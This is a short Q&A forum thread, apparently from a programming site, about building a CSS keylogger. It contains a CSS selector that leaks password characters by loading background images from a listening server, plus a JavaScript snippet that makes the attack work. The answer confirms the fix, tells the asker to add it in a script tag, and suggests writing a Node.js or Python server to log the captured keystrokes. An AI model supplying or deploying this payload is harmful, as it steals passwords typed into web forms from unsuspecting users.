How do you make a Keylogger with CSS?

Question

 input[type="password"][value$="a"] { background-image: url("http://localhost:3000/a"); } const inp = document.querySelector("input"); inp.addEventListener("keyup", (e) => { inp.setAttribute('value', inp.value) });

Is what I've found but I don't think it works. How do I do it?

Answer 1

Edit: I realised that the CSS snippet won't work as typing in the input field will not change the value attribute of the html element. A JavaScript function is required to do this. Hence, include the last 3 lines of your snippet in a script tag and then it should work.

The CSS Keylogger was originally a thought experiment as explained in this LiveOverflow video . The snippet you are using is assuming that http://localhost:3000/ is a malicious Web server which records your HTTP requests.

In this case entering "a" on the keyboard (in the input field) would send a request to http://localhost:3000/a (for fetching the background image) which you may intercept as "a" on the Web server. You may write a NodeJS or Python Web server to intercept these requests and get the keystrokes.